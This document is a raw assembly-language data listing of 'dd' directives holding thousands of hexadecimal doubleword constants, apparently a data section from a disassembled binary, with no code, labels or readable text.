		dd 0B4A1E37Eh, 44925E75h, 1C149300h, 0B9993804h, 0D29FE5B2h
		dd 0DF71AE0Eh, 63F042A9h, 1C522DA2h, 0E9C3F0FCh, 74D1D6CFh
		dd 447A24A4h, 0CB478949h, 5E42D49Eh, 0E27CC9F1h, 861F1AD4h
		dd 6A9F1B34h, 8644BC52h, 2BF014B9h, 51B515BAh, 0E8531A8Eh
		dd 43933373h, 8CE90956h, 0D725CD53h, 0CFE90C61h, 1B0738F1h
		dd 0EF6C0558h, 8D25F641h, 0F35F2051h, 0A240C081h, 0F464B330h
		dd 70791F36h, 9245C0BFh, 0BE189697h, 0CA18A13h,	448F731Eh
		dd 7DEEC1A8h, 715E66BBh, 553ADFE4h, 0B5AD5273h,	9AE883B4h
		dd 0D05E5C1Ah, 4B761886h, 6DD605E4h, 990656FBh,	44480245h
		dd 9CDEE020h, 0D99763F4h, 2ED39C69h, 161E0A06h,	0A0312464h
		dd 492B8C4Ch, 5579B935h, 792616C7h, 9836E463h, 5338C9F3h
		dd 0B01D3317h, 1E34737Bh, 0D9953423h, 57F44007h, 750FC09h
		dd 6C54FB5Ah, 0ECF7BBD0h, 1FE0172h, 0A5B82E02h,	1456668Ch
		dd 0FEB97F11h, 5D4FF8ACh, 0D9374607h, 0A1722413h, 1E326E7h
		dd 0F7BA988Ch, 18B31FEBh, 15785A75h, 0C4750089h, 0D249E7AAh
		dd 0A0F30A83h, 97A65F1Ah, 33C2E018h, 0E2F69972h, 71398F65h
		dd 2CA34005h, 3E2E07A3h, 15210E61h, 3A024554h, 75247606h
		dd 4FC6792Eh, 0C37F1CFAh, 0CCAB11E1h, 629365Ch,	98ED5B5Ch
		dd 3BE7C3C4h, 0A92598EFh, 0A09217ABh, 11D64DEh,	8AEF5347h
		dd 0A877172Eh, 50DA85F4h, 0E936A8F6h, 0F19554A1h, 22B27CE1h
		dd 7216E0A7h, 0DA617DEFh, 0BA09E6B0h, 37E888EFh, 9B0C1FDCh
		dd 81232525h, 0A1EC23FCh, 58D9F964h, 42FD76Eh, 591BC533h
		dd 4AB734E9h, 0CF011EDEh, 71675826h, 54B649BAh,	2470AAC3h
		dd 10B7459Bh, 21EF39D2h, 0D4855C82h, 0A5F7F7C5h, 439C33B2h
		dd 0EFCD2428h, 7D070CE6h, 956B01Bh, 2B414744h, 0C7CAB5C4h
		dd 6A0531C4h, 88B2A369h, 0F6E3267Ah, 0B24D6702h, 602ED6C3h
		dd 85C0AAB6h, 0E15EF53Fh, 0BF39BB0Eh, 0DFB8C88Dh, 79443C50h
		dd 8418ADCh, 8A829001h,	2B82699Ah, 9E655F61h, 6863C9E3h
		dd 7797F5CCh, 0D8CF305Bh, 0DBD8EBDFh, 0A0822E93h, 61BC4809h
		dd 0D64781EFh, 5344B42Ch, 0DE323E3Ah, 5FE3DDF4h, 9DE2C78Eh
		dd 0EB7D068Ah, 48C5A7BBh, 865E1F6Eh, 2F06D437h,	9DD842EFh
		dd 67C0D26Fh, 3B4079F3h, 716509A7h, 753F3ED0h, 247388DBh
		dd 0C39F91ACh, 1B471872h, 8E68F450h, 0BB0FA506h, 0C5CB319Bh
		dd 4F5F7BA1h, 319AE840h, 0D408119Eh, 9B6A9DA1h,	0FE3804F9h
		dd 9BB73A66h, 43D949F2h, 68AA67A5h, 71AD30CDh, 5655C4Eh
		dd 406E3A2Ah, 1E387BEEh, 9E5910A2h, 3689319Ah, 8D7E789Fh
		dd 898ABA7Fh, 80FC0972h, 5E4298A7h, 10C72009h, 34B6F0FDh
		dd 0C297C2E0h, 877CB399h, 49BEF735h, 35CF32ABh,	2227D86Fh
		dd 0E783FDEDh, 0C5049EEEh, 71F11761h, 8A8933F0h, 680BD187h
		dd 81169DD8h, 22C2305Ch, 632E0E87h, 0E01E190Dh,	4D42C1B9h
		dd 6A45ABA1h, 0F77A86F3h, 0EE34880Fh, 0E8D4609Eh, 0F9DE8EABh
		dd 0ADD36F93h, 0F67E618h, 33CEED0Ch, 0BD8C3194h, 0E6905291h
		dd 2EFBEF5Fh, 4753CEBDh, 0FD70150Ch, 9AF97686h,	727D33BFh
		dd 0A6CD942Bh, 790748B3h, 0A78FE901h, 0EFF9009Bh, 2EE9E6FCh
		dd 23BFC731h, 0BD1EF2D0h, 98E7C065h, 0D2C23FC2h, 0B1BF7FEEh
		dd 0B61A29B3h, 5B4042FFh, 7D52F6E4h, 4F506232h,	54EAF4E2h
		dd 20C10B53h, 0EE972AFFh, 5460AD71h, 0F2BCFD01h, 27A954C0h
		dd 6C4A5B37h, 7DC54B20h, 9CF1607h, 1015C671h, 5C8762B3h
		dd 0AC7E20E7h, 3C907B57h, 0A9D058FDh, 7BBFD33Fh, 0D75000A5h
		dd 0CF405C2Bh, 472D9454h, 5C25E1F2h, 0E2934A34h, 6BFDF4B0h
		dd 96A7D44Dh, 0BD057B2Ah, 55043D78h, 790F5850h,	0EE8C556h
		dd 7E0512AAh, 0DBFA7837h, 0BDDFB5F7h, 73F7532Fh, 2849BB45h
		dd 0C7E54531h, 0D9718ECCh, 2530F8C3h, 0B32CD8Dh, 59335103h
		dd 79C69BC8h, 0BD0ECFD1h, 25914729h, 391A1D59h,	44702F00h
		dd 33905998h, 4567C02Bh, 277A329Dh, 5E76BB6Eh, 0B9B14643h
		dd 0EAE8E2D8h, 34A11CD7h, 548A0B37h, 9CE9F7B6h,	465AA201h
		dd 0BE307A61h, 3B51C6CCh, 0C239974h, 33BF5D74h,	93DD0F66h
		dd 0EA85D1F3h, 3921A675h, 0BE55CF65h, 0CF8CE1C0h, 0D33D3C1Bh
		dd 614360Fh, 27E12E5Eh,	46FFED00h, 524EC6E5h, 9BDEBAEFh
		dd 1A389756h, 9A506A42h, 0CE4CC08Ah, 13BA7402h,	9FD69D8Ch
		dd 0C97413Bh, 9D3885Ch,	0F4017FBCh, 0F5F794FFh,	92BD0FE5h
		dd 48E9EB58h, 4AC17689h, 325C3DE2h, 0A9E3CBC3h,	0BED32E95h
		dd 2475BA78h, 1B14205Dh, 20C9E4BFh, 0B1F1546Dh,	7FABF540h
		dd 0C791614Bh, 852060E5h, 0C650332Dh, 0EB8A55D1h, 5C04202Ch
		dd 1EDF1065h, 7D66BFECh, 9B75986h, 26F95691h, 0F62AFCFDh
		dd 0FCDC4635h, 0A2877E07h, 322BCF6Fh, 116F88A5h, 0B8ECA4F1h
		dd 2D3B9EF9h, 0B9A9A0CBh, 0F6FFADF5h, 4635CE4Fh, 97FCDED0h
		dd 0C3F24D6h, 71E44CCh,	1EB4C530h, 0B56874EFh, 3DBB8955h
		dd 117A3412h, 0CB5573F9h, 2078CCC8h, 0DBB8087Bh, 1B03CA3Fh
		dd 0EEC9A24Eh, 7F05B35h, 0A691F594h, 0FD12CFB5h, 0F119A311h
		dd 394ED6FAh, 107F3689h, 32C19CD1h, 0C0EBBEC0h,	0A4219933h
		dd 1605C33Bh, 84CBAAC8h, 690CD7CBh, 11944C05h, 736FB009h
		dd 0F61331E6h, 61D27A9Fh, 0C60D972h, 9E914CACh,	77F93039h
		dd 77EE3730h, 989923CEh, 0A2874B71h, 8A4DC68Eh,	0AF24A217h
		dd 7B15F317h, 0ED34EFECh, 0B748647Dh, 253CF3F9h, 339F2CAEh
		dd 0F731B96Bh, 195F6AC2h, 0C129CC67h, 0BDAEA272h, 0AF6CB9D1h
		dd 99DB6533h, 0EF9C0459h, 359C9352h, 96ED194Ah,	833A1619h
		dd 2BA1F6A2h, 5576AF33h, 0BA4D2094h, 61B87D19h,	91162E6Fh
		dd 95AC5E67h, 0C55A7807h, 6A166EBBh, 129AF4BDh,	65DC95D7h
		dd 0D30C05B8h, 9CD935B8h, 4AD9A66h, 213834Bh, 8873D155h
		dd 57EA352Dh, 3BA22CE4h, 0BDAF8BB9h, 0AA9FD153h, 0EC02E945h
		dd 19322888h, 0FE96B284h, 0AA260046h, 27435E45h, 62F94ECDh
		dd 5C981CB3h, 0CCAB8683h
		dd 0E99D0C27h, 0A2586ADh, 89AB0A0Eh, 0E39EF985h, 500260A4h
		dd 32022486h, 0FABB45C0h, 0A6DDFA27h, 0BFEEEF24h, 9ECBA243h
		dd 9026DC10h, 97EC336Fh, 28053714h, 0FDC2DA9h, 4A13F8DAh
		dd 0C06B227Ah, 0E21FEA29h, 0E7E1F752h, 4A4E257Ah, 9B7E7878h
		dd 493127B2h, 12649AF6h, 69365A13h, 0DBDE4E52h,	6C2E24E1h
		dd 17300F52h, 75EBAB64h, 3B977CDBh, 30381BB7h, 0E4B9BA0Ah
		dd 78327011h, 7A0C2B8h,	6159D87Ch, 2A1FE55Fh, 0F33BC564h
		dd 98A0D183h, 9555B863h, 0F2F3C62Dh, 0E0D1315Ah, 66D46F3Bh
		dd 0ACB3D9A0h, 0A3DFB5F1h, 9BCA5121h, 0BDA00733h, 861748E9h
		dd 5F16A1EEh, 3E8996DAh, 800DE10h, 2E225A99h, 79E919D0h
		dd 92A7054Bh, 0BEC1D1EFh, 0F96EBECEh, 0BAB4B49Eh, 2FE66B7Bh
		dd 98CFF176h, 0EFD8292h, 0ADE8DAB1h, 0DC2D8D42h, 0DD8EA8E7h
		dd 0E0FF9476h, 0FF21FC49h, 0A3C20C3Fh, 3D049A5Eh, 8291142Bh
		dd 2435CFACh, 9C6DDF6Eh, 0F179B64Fh, 51F07D47h,	68A9534Eh
		dd 0CA8A0590h, 267485C9h, 0B48422CBh, 1E4F5565h, 8D5D14ADh
		dd 0EED2A1D8h, 2CEAAD82h, 5A2813C7h, 0DE864E6Fh, 81BE41C6h
		dd 0A979AF5Dh, 4F2A111Ah, 52893DDAh, 3538B1A5h,	0F7983A31h
		dd 1353686Ch, 34455B5h,	0BE9BEB90h, 69DD8DBFh, 7DC777C5h
		dd 9849D3C4h, 338587CAh, 3773522h, 6CCB2B61h, 80DE6659h
		dd 1A178DADh, 4398814Dh, 34A2C946h, 0D3F667Dh, 4C8D624Eh
		dd 9DB95156h, 0A4FEE263h, 0F8B8886Eh, 63EE0BF7h, 52A1B025h
		dd 4417C7BEh, 45A4873Eh, 0E4A5CCC6h, 0EBF0F1A5h, 7836D56Bh
		dd 0DECAFAD6h, 69E9B7CEh, 30BD26F9h, 0D95A5D35h, 1F125994h
		dd 41F58398h, 5ED3E90Dh, 0B8374935h, 1ACBD1BEh,	7A82B2B2h
		dd 47F0F01Ch, 545BE8BFh, 279B4B86h, 3B949357h, 95FE6276h
		dd 0F6A284B5h, 0F84997EAh, 0A5F0B55Bh, 0B445A607h, 990EC3EEh
		dd 0FAD41D9Eh, 7755A8D1h, 0E18AB43h, 6A01150Ah,	51A3A9C0h
		dd 44BC85EEh, 2898B2E8h, 5284DD29h, 0BF77C9F4h,	1FC27951h
		dd 24CC8E10h, 0A83AF76Bh, 54CB9701h, 7E515A46h,	0C1C02332h
		dd 78180381h, 0EDB4C336h, 7718AB35h, 31C09016h,	6D01A7E0h
		dd 0AA0D4B6Eh, 0D11D004Bh, 8D35745Eh, 2CA927B0h, 2FA7D296h
		dd 1571E206h, 14812C62h, 76BCF310h, 8A094B3Dh, 6A826E98h
		dd 8041979Bh, 0AF4451D0h, 38003FF8h, 4722D7FEh,	24244FA9h
		dd 0B2539C0Dh, 0B9DFC84Ch, 4B3E6EE6h, 0EE55BDE0h, 3F25D947h
		dd 19F1FDF1h, 1D73242Ah, 13798387h, 8E299BE9h, 50778E9Ah
		dd 0C7E8A4EEh, 7BF9ED1Ah, 0A429CC45h, 9A6A0CEFh, 0BFD64989h
		dd 0B9811D5Eh, 3D6E0E8Fh, 37FEE100h, 54D086D1h,	0ACD5CF19h
		dd 747164B8h, 59EF9B10h, 0BCEAF22Fh, 0AADC3D1Eh, 4E5207F3h
		dd 0D13521Ch, 0E08D9E92h, 5BE79F76h, 5FE099Dh, 802B8F9h
		dd 570BACEBh, 87154AA8h, 4C5648B5h, 84D7B235h, 0F27C0676h
		dd 5EEB9570h, 0F448626h, 37EB782Ch, 1C26F948h, 4DA3586Dh
		dd 940634DAh, 0E7882293h, 19C87BBAh, 8E58CDC6h,	0A0B67EF4h
		dd 0A2550639h, 3C2CA25Dh, 0F35A304Dh, 17341352h, 69937091h
		dd 6524F0D6h, 0F6EE656Ch, 50026E2h, 0B768230h, 9D3A9EB4h
		dd 4FA81680h, 6C8C9C18h, 4074DA9Eh, 0F4D5727Dh,	0B05E8CDEh
		dd 22670BAEh, 36B9F103h, 0FDF53356h, 0EF4509C1h, 0EA260915h
		dd 6B15764Ah, 0FE8A2D04h, 1F81A26Eh, 600B2601h,	4C0C2E1Ch
		dd 621894D0h, 0E4AF25C1h, 360DF3Fh, 4BC23436h, 0EE422593h
		dd 2E6AA26Ah, 424810h, 191DCC1Bh, 0D443CD0Dh, 4C51DE3Dh
		dd 0DE682C2h, 97BEAD45h, 0ABF20A59h, 8E74D1BDh,	0E2B67D50h
		dd 7114EF01h, 0DBE69A11h, 64428677h, 30685A3Fh,	88648E85h
		dd 0EA286788h, 2B8214FEh, 7225CC8Dh, 71D34138h,	8D72D9ABh
		dd 7630256Ah, 8A98BD6Ah, 68258723h, 6388BC5Dh, 6446287Dh
		dd 0A134F99Fh, 9BD0091Bh, 0D1954BA4h, 4AB0D87Fh, 50473A2Fh
		dd 295B1CF1h, 0E64E0BAh, 0D48A4A21h, 0C3E79EFEh, 0C24CCFFDh
		dd 0C0E7CFAh, 0FBE48A82h, 69354D02h, 0AA152357h, 6DEDFA50h
		dd 0B4D297C5h, 6E6A5D6Ah, 75D7AE8Dh, 0B83F3F97h, 727CA207h
		dd 0CB3E0FA4h, 3A9EFB78h, 0C4B94ED3h, 9DC06175h, 2E809622h
		dd 37582D4Bh, 8F41DBF4h, 0C8D509DAh, 4A292F00h,	46DFEE40h
		dd 38EB26EDh, 0C20BF1D1h, 9BA158CFh, 7E2D7FCFh,	0E672C7Fh
		dd 1E3179Fh, 258D2C1Ch,	8385EFC8h, 92F76F82h, 0D22C56FFh
		dd 87DE01C2h, 0F1BABAF4h, 0DCFF9F6Ah, 0A7B1C95Bh, 5CBE6F08h
		dd 0E9136EB7h, 0AAFED59Dh, 0DF5630B6h, 6D1311A0h, 6701498h
		dd 823D2949h, 0B745D39Fh, 6640F87h, 0FF4078D4h,	822870E7h
		dd 9880D40Eh, 4F3FADAEh, 9285CFA2h, 9696C433h, 0DF2CAA90h
		dd 9D483BCh, 0BD1BC32Eh, 8FEAECB4h, 0BE06FD29h,	28ACC2EAh
		dd 6EA16846h, 4DC5F98Bh, 8A374ABFh, 6D8E6A26h, 1846DFEDh
		dd 0E03EE14Fh, 0E822827Ch, 0A1879EE4h, 5DB8523Bh, 263D2A7Ah
		dd 66BF5556h, 0F9968702h, 0AE543F18h, 0DECACAD4h, 5D20BAC7h
		dd 39120262h, 0E7303067h, 3F67FCFBh, 0EF82A720h, 0DD347565h
		dd 6C68A10Bh, 864055h, 95966696h, 2094A274h, 32B15720h
		dd 8295E210h, 0F4E3B682h, 2C811CCCh, 2E75BA92h,	0BCEAA6C8h
		dd 987D646h, 0E99EA5DAh, 74099D11h, 0AC9B71A4h,	0CCD34F0Dh
		dd 0FEFB296Ch, 4E8A55ECh, 1572FCA5h, 4BACCEA0h,	303C5F14h
		dd 30B4431Ch, 0C8DC074Fh, 0F98215A1h, 5C27068Ch, 28F2A9Ch
		dd 0DD868FE7h, 371D6607h, 0A96B2A7Fh, 0EC168952h, 3982B941h
		dd 0B32C6E3Dh, 47B7CCD4h, 284F2430h, 5E42834Ah,	0D69B1693h
		dd 0CF20B3E7h, 0B2A4BFB7h, 0A9C3E2Ch, 0A2959673h, 958B9123h
		dd 5334CAB4h, 0F4EBCB25h, 1E7B3AEAh, 1AB08064h,	0A3A2C0A4h
		dd 33AF6C2Ch, 0B28CF964h, 6DDC90EFh, 9C6022A0h,	0B28E0FF3h
		dd 30EDCF42h, 0F040416Dh, 25A76728h, 3B8983EFh,	0B41276B9h
		dd 0F30B4E8Dh, 0DDD8A2D7h, 593725D6h, 0FC5F7DB0h, 96E14471h
		dd 16D603F9h, 0D722439Ah, 36781024h, 4068512Bh,	6AC7657Ah
		dd 8E1BBE8Eh, 72581D52h, 931E560Ah, 0CB7FDC63h,	55E8D8C2h
		dd 0D820E384h, 0E7E386FEh, 0CD3A40E3h, 71C7BD88h, 0C9DA62D4h
		dd 7B8D5AE4h, 0FDCC110h, 8F3394B8h, 0C8B5C31Ah,	99705EFCh
		dd 0F7195231h, 0AA602C1Ah, 0FAB099D7h, 629FA505h, 2055925Fh
		dd 0D5C115B2h, 2608D18Bh, 0F7773921h, 7EF10A4Ch, 0DD2F7627h
		dd 0CCBBC0E5h, 373139CDh, 79CE0B41h, 30353A8Eh,	0D0944A31h
		dd 0B8D9555Ah, 0F7FDDE39h, 76AFB9EEh, 0F23647ABh, 8B3A97BEh
		dd 889D557Ch, 33173AEBh, 90BA399Ch, 3987CE19h, 918C14E2h
		dd 0F0B7302Dh, 0CD52995Eh, 5C144786h, 7D9F3BCh,	98B282EEh
		dd 77F67431h, 2229E56h,	83E547Fh, 665D808Eh, 0F05C4FD6h
		dd 0E5D0DCA6h, 8F4E8864h, 81CF4D90h, 0C2459378h, 4669CD71h
		dd 59154EAFh, 0B79B1B4Ch, 0FD4E928Ch, 985345C4h, 838CAC25h
		dd 0BA857F59h, 4271A28h, 230295B3h, 0BCDC3EEDh,	0CA840DAEh
		dd 8FA98DDCh, 9FBB5E87h, 0A21909CFh, 81431E30h,	0BB5645B5h
		dd 892DA780h, 9A93E1D8h, 106358DFh, 0EFA38C07h,	72E41DE5h
		dd 38D7BB08h, 5038E558h, 10DD34D6h, 528DC7BFh, 9418B08Ah
		dd 2AA0E251h, 18880895h, 0B3BDB85Ch, 0B7B5B0B4h, 0B4ACA476h
		dd 6F87BEEDh, 0FF5311DDh, 4F0791A6h, 35649551h,	7BB8D36Ch
		dd 9B11C40Bh, 19792A73h, 9EA07C8Bh, 8F229F60h, 2559FFB1h
		dd 0AA5FF843h, 0D92BB8BAh
		dd 0B459AF76h, 599FEF3Eh, 0F03B43C7h, 4AEA1203h, 0E2320C7Eh
		dd 14C5BC5Eh, 0A45C9205h, 1FF67E22h, 5CED3DD0h,	0A8CD2A40h
		dd 1B82A21Ch, 7E10D376h, 2619A0C0h, 830B27Fh, 0BBD97E7Ah
		dd 0EFF3B5F3h, 0F817FE7Ch, 0AD06BC52h, 9D98440Ch, 0EC960BEBh
		dd 0D4FF5BCEh, 0A6D078A6h, 15540D36h, 0AEE329CDh, 35BB37B1h
		dd 7215B85Fh, 6EAD44CAh, 6CD4AF0h, 0C52B5048h, 712D822Bh
		dd 0E8569BDh, 6BD9F290h, 0F5CFEBDCh, 7A9829D0h,	4AEF9B9Ch
		dd 658E9F36h, 0B908BD21h, 0D31483A2h, 0BC1D4770h, 0DEFEA960h
		dd 105EBD29h, 8DAECDA7h, 3A59E0EAh, 40CBACABh, 0DE402B48h
		dd 2A5B5969h, 653DBECCh, 0AF9D417Dh, 1BAEBC2h, 0D426FF1h
		dd 4486DD32h, 0D6666995h, 96EEF1D6h, 0A934B513h, 0BB6F3C66h
		dd 935A624Dh, 9C670EA5h, 0AED17684h, 0E81B18C2h, 787753E8h
		dd 0B1811C5Ah, 0F454FBC6h, 0EB098C04h, 3FB4DFC2h, 0C7C8A0ADh
		dd 0F0F07091h, 0A072AD91h, 0F6C230EFh, 0D126991Ah, 394D1987h
		dd 0F658DF28h, 6C2CE5E7h, 0DC9BC138h, 0A056744Dh, 0D2D42E7Ch
		dd 4029708Bh, 143D6B6Eh, 554BD417h, 4053D90Dh, 97037B12h
		dd 4CE88F53h, 27632A03h, 2B2A9E7h, 6D7DCF83h, 284BDE56h
		dd 0D6555485h, 20C65B77h, 4A40314Ah, 0FCC87535h, 36FD8248h
		dd 0F3051905h, 4B808B4h, 7FE95A1Fh, 6EF3F2D4h, 0F7D18643h
		dd 0BAC9CD02h, 9DA1880Ah, 99AD51D2h, 9FBCB10Dh,	4527FA43h
		dd 7C2FFF71h, 19C18C0Eh, 1D50E10Bh, 4854D9B1h, 8BE3E4h
		dd 0B765E6E1h, 9A9A5CB6h, 9602FC06h, 9DC2022Eh,	0CF46A7C0h
		dd 0B6046583h, 7919DCD9h, 579B5F12h, 0EC3EDB20h, 90252DE7h
		dd 0C570E8F6h, 0DB2B78D5h, 855AFD80h, 0F77EF4BDh, 0A490EF25h
		dd 0F5C3E303h, 0FE3FFAB0h, 70BE531Fh, 0EAB7FB45h, 78AF94B9h
		dd 271E7DE8h, 20118C97h, 0F4BA2A7h, 5A3E1BD3h, 4941482Eh
		dd 7B5FBF18h, 0D2D73000h, 0CB2FC7A9h, 3742B5DDh, 0A1ED43Ch
		dd 32CD94EFh, 0CD83F310h, 0ED6FD759h, 5D2E5C54h, 8A2266A4h
		dd 0F0A10D46h, 3CD73C5Bh, 271A2F9Fh, 0C5A4E90Fh, 0BC58B49Fh
		dd 0E4636A07h, 22F0DA40h, 42BFB74Eh, 0EE04155Eh, 8EFFB1CFh
		dd 0BB246F86h, 42D585CFh, 5982DA53h, 6EE4F0D2h,	14C8C960h
		dd 4CB27D94h, 0F66D8B39h, 0B0BE4EDEh, 0A9DF69D5h, 37DC28D7h
		dd 0E1A07CB8h, 9EA80F9Dh, 0BCCFD62h, 74A81758h,	851D92A9h
		dd 906FC37h, 7B9D5501h,	9C2A49BCh, 78EC5805h, 4400F228h
		dd 0FB72A424h, 9632C9Eh, 0B5C5840Ah, 0E303FBDFh, 1E776783h
		dd 0A8729CB3h, 4B0E4941h, 51FCB16Ah, 4069D553h,	4419E0EBh
		dd 0AB04F567h, 0B18C011Ah, 57BAA27Bh, 499AA7E7h, 0A43B1A73h
		dd 71468514h, 46BDDDE1h, 9319D583h, 79151FF3h, 523826DFh
		dd 0EDCE8109h, 27E6FFC1h, 8A0E8C16h, 1AAD66FEh,	25C74089h
		dd 0D2186AAFh, 0BDA6DD27h, 0B08F7A06h, 0CB1DF6EDh, 0B3B57010h
		dd 85E7DCDFh, 0C9A54988h, 48AED61Ch, 0BD64BC85h, 0BC9EC09Eh
		dd 73FF92AAh, 0FD5BF957h, 31B28C05h, 0B253EF36h, 314E5272h
		dd 0F667553h, 690CB50Eh, 3B821034h, 145D10CEh, 0C5F85579h
		dd 6610D704h, 0D4CDA0F8h, 0D9F96198h, 0B4B3DC0Ch, 0B2408DBCh
		dd 0BAC50CE8h, 0EB70FF94h, 0CBD400F8h, 0CC13970Dh, 0F8CF7EA0h
		dd 0F0A332Ah, 3272C16Eh, 0D58C848Bh, 24F06C81h,	8BA3FDD4h
		dd 732254D8h, 0A0575EEEh, 6B5800A5h, 2B41C15Ah,	2C18F1E4h
		dd 2FB4AD9Ah, 74DA8DA0h, 0C2B2D434h, 6ACF79FDh,	4DD32173h
		dd 7F130AC8h, 8B1940C6h, 0C486898Ah, 9FB62E46h,	9DB18Fh
		dd 9ACFA063h, 7277E6FCh, 0C6BA0313h, 5D10D878h,	0F8DA8DB4h
		dd 38E24BB3h, 33154D32h, 0AE51C226h, 61EE550Ah,	134748D8h
		dd 128FAC0h, 7E311014h,	59B1D3BDh, 18105BA1h, 19C5D753h
		dd 9FCBBE00h, 729F7DD2h, 54EB0F66h, 121F804Fh, 93AEBAF5h
		dd 85F367E9h, 0EBA41E18h, 0F5939D2Dh, 881E46E3h, 7DEAAB37h
		dd 439C96DAh, 1D0C94E8h, 4AF797D0h, 88DF17ACh, 0F3847C9Fh
		dd 54A4375h, 0A6E1EAE8h, 360E5722h, 52C32AF4h, 305300FCh
		dd 3EB9FE1Ch, 385F9F26h, 0C5D7F281h, 868015E5h,	9DA08789h
		dd 2419EC0Eh, 2C2AC33Dh, 2632FB2h, 50287FF1h, 0E67DA720h
		dd 2DE594Bh, 0EBF2F514h, 5CE34A82h, 4E3A6CD1h, 95FA4E9h
		dd 0DF2FEFA5h, 0C095BFC3h, 0F7CA462Ah, 4945A954h, 0AF144B96h
		dd 0BFCAFD7h, 0BFD9E651h, 0AB065307h, 0D8B4F45h, 32FE0EE9h
		dd 0C9E59FB7h, 0D0E52DCEh, 0CB9557B7h, 0DF19E895h, 0D8627F5Ch
		dd 0AFB80A86h, 0B173DD22h, 0D0A109B7h, 0B388D227h, 3B31B1A8h
		dd 847EB124h, 0B616E852h, 0B17153B6h, 0AD80CE1Dh, 3C8BAE2Dh
		dd 0DF9009C1h, 4858BF7Bh, 63E2D634h, 0CE122DD9h, 92968009h
		dd 3CFD1DC4h, 328F3522h, 0C872379h, 3D80BF2Ah, 36D1EDA9h
		dd 0C2E15AB9h, 752DA37Ah, 0E7877616h, 0FF2947BBh, 4B6118C7h
		dd 28E42254h, 0B89C9322h, 0A6414C55h, 8694CA63h, 0B9352027h
		dd 355FD1D8h, 70B7C319h, 77E888AAh, 7A9F22C6h, 0B7373E3Bh
		dd 0F0657C9Bh, 0A98662F1h, 1ED69062h, 9FEA844Fh, 3EF45923h
		dd 6B3E5913h, 8C39924Eh, 1CF08D27h, 0A250C373h,	9B6DE2A7h
		dd 115BF287h, 7A1B58DDh, 87265167h, 2B722E61h, 736D9E64h
		dd 4108C211h, 0B401505Fh, 0CF792537h, 0E2D039C7h, 62DB83DDh
		dd 0BBB55CA0h, 2E110A36h, 7D7121CEh, 3F6787F5h,	2D3C09CAh
		dd 2410FC06h, 0B3DFF3D1h, 74A1B333h, 0FEE0987Ah, 0C9F2EDA7h
		dd 0D1465592h, 0E4C65846h, 0E730623Ch, 48C70D96h, 817A9902h
		dd 0A69928C0h, 3DF7D9AFh, 0DC4100DDh, 44D63B6Ch, 0E5108980h
		dd 0CB662442h, 0B0476BBEh, 52A521D6h, 0B84C9968h, 0D82B9717h
		dd 884AF1A2h, 0E1D3F161h, 3DC1198Bh, 36F83F43h,	31D432B1h
		dd 5F17ACF1h, 1EA06F37h, 6F662628h, 11182973h, 4A23D638h
		dd 0CD1183F1h, 2E10B49Eh, 0A0818133h, 36F374F5h, 0A80EEB03h
		dd 3AED956Ch, 0B1C55C08h, 401E2Ch, 1418E913h, 6E2D5192h
		dd 823B9986h, 3591CD00h, 0EEDD0B79h, 0BBF60C51h, 92193CFFh
		dd 0BE62ECDh, 7CFFFA4Ah, 0B6201A66h, 0E9057AEBh, 3C46DCCCh
		dd 45FF9657h, 8DD1377Bh, 180EED76h, 9EBDBE53h, 0FB514A17h
		dd 17527594h, 466E4F6h,	0F32BF4BDh, 0F46A5D5Fh,	423A7E28h
		dd 372DB933h, 47BFC015h, 0F625EE12h, 0EB0BB1FAh, 67B7AF75h
		dd 9B9219E7h, 77E41E57h, 32D00963h, 0B691A75Bh,	0F12F600Dh
		dd 0DD14671Ch, 0AC20B5D3h, 4DE0AD47h, 85959A0Ch, 4A9397A0h
		dd 1CEA2BBAh, 6BC4E9AEh, 0BE32CE4Bh, 732F7F0Dh,	7891DC52h
		dd 9734B35Bh, 0EAFA154h, 49029721h, 0D73F9CA2h,	0A0C34939h
		dd 1508DAABh, 0D9420D45h, 71B4F86h, 310AE37Eh, 8F416282h
		dd 0A3ABBCBh, 7D2DF768h, 0FA759AD2h, 80C8E2D8h,	8C4C88AAh
		dd 65D4A64Ah, 6087EC5Bh, 0D1AD6976h, 337D4AE0h,	0EE72C22Ch
		dd 7A1364B0h, 0E69BAF6Ah, 0E8668F07h, 0EB7AB434h, 2C770383h
		dd 92C63266h, 0CE284393h, 0D9700B92h, 0A02B5EA2h, 59ACB25Bh
		dd 10A33CB3h, 0C2DCE7DAh, 0A0110241h, 0F127036Ch, 1A7A590h
		dd 277C49C3h, 0E7D3D6A9h, 5AE3F2FFh, 7DFAFE54h,	6385348Fh
		dd 525BCAD7h, 56234418h, 6891BD3Ah, 5BD1E034h, 527EAEB6h
		dd 12864E70h, 33067C40h, 7A4A2805h, 86E23A1Eh, 60FCE121h
		dd 0E1E06F37h, 0ECE3C030h, 409E2F5Ah, 5A019C4Dh, 58450721h
		dd 0D01CF453h, 1087225Fh, 0A51143F8h, 0A1161F84h, 4285AF84h
		dd 4ABC487h, 188E880Dh
		dd 0A9C7788Fh, 64A7C92h, 0E2B18228h, 4A9701ADh,	0A8D4008h
		dd 0AAF49499h, 0ECE29850h, 994C4399h, 281BC7E5h, 0DC7F6760h
		dd 9AFD32Dh, 37E1C070h,	0E11FEAF9h, 0F4709795h,	529899FCh
		dd 2BC2B9A9h, 144FDDE0h, 669DD0A4h, 7839F8B9h, 0AAB9E175h
		dd 6C019D44h, 0A7CA8E7Ch, 0C3276F66h, 2DA46C70h, 66870131h
		dd 1998FC9Fh, 0E1BDD7F7h, 0B65C8EADh, 2F963325h, 0A0CD736Bh
		dd 0F56C10A7h, 37DA601Ch, 3572E030h, 8206AD27h,	0D0FE9A6Ah
		dd 2A4EEAABh, 0FBBB33CAh, 0A83A2A39h, 0A5A1D8Bh, 26ED9710h
		dd 3EBF1322h, 9CF657BDh, 7240610Bh, 1D19AE7Fh, 0FDA52315h
		dd 0C1A423CFh, 2424EDD1h, 0BD558FCCh, 5B0E4204h, 0DA74478Eh
		dd 0F773F373h, 30D084C1h, 61986E1Fh, 0E60513E7h, 3C8C5639h
		dd 0E92E7F52h, 0C2A50B34h, 0B1495DFDh, 4C7BC711h, 0FBFF05EAh
		dd 7EF22402h, 1AF6E39h,	671FE7FCh, 0D7E32DAEh, 34EAFE73h
		dd 0A0165B1Dh, 10E01058h, 0A141085Ah, 0B6688182h, 0D2CFE53Eh
		dd 42986DA7h, 629617B9h, 0B5E23213h, 0DD45B9F9h, 0AE11215Ah
		dd 96050A66h, 9C202B9Eh, 0D28C824Ch, 9F3C06A2h,	6E7E333h
		dd 0F87C0B8Eh, 0FF95894Ah, 0D595C8C1h, 0F033628Ah, 591EB4D5h
